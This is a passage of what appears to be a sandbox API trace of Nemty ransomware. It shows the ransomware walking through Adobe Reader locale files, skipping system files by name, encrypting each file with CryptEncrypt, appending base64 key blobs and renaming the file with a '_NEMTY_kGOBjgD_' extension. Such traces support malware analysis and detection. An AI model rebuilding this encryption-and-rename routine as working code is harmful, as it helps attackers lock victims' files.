0x0 [0185.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.591] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.591] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.592] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.592] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6HvSHVihSSymTh4C8f/veKNNOD0nCUOjwNhgn/kNDv9w/5010LORjubVWf5CRdXB\r\ncouJgUVJtz2eTL4mNQ7PNn9LLJTTpG911wieo6D5LIV12CNYQTkqmtHCw4iZPDWq\r\n2xCCvR5jLWUpQNHr2l14M3A79o70lM/DLNH35aHhmUWb/1w5Htvky94GXOnLA6Qj\r\nhRbPLuO2bTFrq/7jeCUGF7VsZGouC3PFwn/ow8M5l4nWzaqfxqsxdbxh4eUROBQh\r\nLvrfEL/3WAcIfETokc3shQrqLasWYq6cXk0rpy3lj+YT6lqqF6kiHvZlMl2UEFAB\r\n0290LO/aF3T5cXTx4uMwtA==\r\n", pcchString=0x653e5dc) returned 1 [0185.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.592] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SaveAsRTF.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\saveasrtf.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.592] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0185.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0185.592] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.592] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0185.595] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.595] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0185.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.595] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0185.595] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.595] CloseHandle (hObject=0x2e8) returned 1 [0185.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.596] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SaveAsRTF.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\saveasrtf.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\SaveAsRTF.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\saveasrtf.ukr._nemty_kgobjgd_")) returned 1 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.596] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830b2fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.UKR", cAlternateFileName="")) returned 1 [0185.596] lstrcmpiW (lpString1="Search.UKR", lpString2=".") returned 1 [0185.596] lstrcmpiW (lpString1="Search.UKR", lpString2="..") returned 1 [0185.596] lstrcmpiW (lpString1="Search.UKR", lpString2="...") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="windows") returned -1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="rsa") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="NTDETECT.COM") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="ntldr") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="MSDOS.SYS") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="IO.SYS") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="boot.ini") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="boot.ini") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="ntuser.dat") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="desktop.ini") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="CONFIG.SYS") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="RECYCLER") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="bootmgr") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="programdata") returned 1 [0185.597] lstrcmpiW (lpString1="Search.UKR", lpString2="appdata") returned 1 [0185.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.UKR", lpUsedDefaultChar=0x0) returned 10 [0185.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.598] Sleep (dwMilliseconds=0x5) [0185.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2246ec70, dwHighDateTime=0x1d561e8)) [0185.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2246ec70, dwHighDateTime=0x1d561e8)) [0185.607] GetLastError () returned 0x0 [0185.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.607] GetLastError () returned 0x0 [0185.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.607] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.607] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.607] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.607] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="GQPvHrAZ3cORvZigOOWWvwilZtO6UMKb1IVP6uXXDSXUDdHJIGaBQqWbulLRsKPY\r\np2cM1Ah3uVyS6PEZtkgzogvVbcrmQxMQ+HECKtpm5xMTwLDXBXKAd3sPuOYHtfdY\r\nA1VYdjRtBJCCHbol+UqNfbXImUifgscbStLRcQJLngqPC98Un1fQmWAdtGMRyy3j\r\n7BvEqiQ52eQQ1v5VFxqY53dBv28r0odqFZv+w0HCkKWHZwXNXKoJwFUOsHSdT2XJ\r\nXt2rH/ulfratuxFSF+u3qqu1tMiEX45GbLoOi6ANKo7waI9DYJeidouEYgedWoRG\r\n9rNXTjqLXRocJIg2G+h5AA==\r\n", pcchString=0x653e5dc) returned 1 [0185.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.607] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Search.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\search.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.608] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23552) returned 1 [0185.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5c00) returned 0x6352c48 [0185.608] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.608] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5c00, lpOverlapped=0x0) returned 1 [0185.611] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.611] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5c00, lpOverlapped=0x0) returned 1 [0185.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.611] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0185.611] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.611] CloseHandle (hObject=0x2e8) returned 1 [0185.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.612] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Search.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\search.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Search.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\search.ukr._nemty_kgobjgd_")) returned 1 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.612] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.UKR", cAlternateFileName="")) returned 1 [0185.612] lstrcmpiW (lpString1="SendMail.UKR", lpString2=".") returned 1 [0185.612] lstrcmpiW (lpString1="SendMail.UKR", lpString2="..") returned 1 [0185.612] lstrcmpiW (lpString1="SendMail.UKR", lpString2="...") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="windows") returned -1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="rsa") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="NTDETECT.COM") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="ntldr") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="MSDOS.SYS") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="IO.SYS") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="boot.ini") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="boot.ini") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="ntuser.dat") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="desktop.ini") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="CONFIG.SYS") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="RECYCLER") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="bootmgr") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="programdata") returned 1 [0185.613] lstrcmpiW (lpString1="SendMail.UKR", lpString2="appdata") returned 1 [0185.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.UKR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.614] RtlAllocateHeap (HeapHandle=0x4f90000, 